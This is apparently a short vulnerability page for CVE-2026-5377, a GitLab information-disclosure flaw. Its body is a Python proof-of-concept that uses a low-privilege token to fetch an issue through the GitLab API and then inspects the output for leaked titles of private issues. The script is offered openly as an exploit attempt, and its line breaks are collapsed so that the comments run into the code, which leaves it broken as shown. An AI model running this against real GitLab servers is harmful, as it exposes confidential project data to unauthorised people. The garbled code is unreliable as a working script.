CVE-2026-5377 GitLab敏感信息泄露漏洞

import requests # Configuration TARGET_URL = "https://gitlab.example.com" PROJECT_ID = "123" # ID of a public project ISSUE_ID = "456" # ID of an issue that might reference private issues PRIVATE_TOKEN = "glpat-xxxxxxxxxxxx" # Valid low-privilege token headers = { "PRIVATE-TOKEN": PRIVATE_TOKEN, "Content-Type": "application/json" } # Exploit attempt: Fetch the issue description # The vulnerability lies in the rendering process potentially leaking titles url = f"{TARGET_URL}/api/v4/projects/{PROJECT_ID}/issues/{ISSUE_ID}" response = requests.get(url, headers=headers) if response.status_code == 200: data = response.json() print("[+] Successfully fetched issue data.") print(f"[+] Issue Description: {data.get('description', 'N/A')}") # Analyze the response for leaked private issue references # In a vulnerable version, referenced private issue titles might appear in the response # where they shouldn't be accessible. print("[+] Check the output above for any titles of private/confidential issues.") else: print(f"[-] Request failed with status code: {response.status_code}")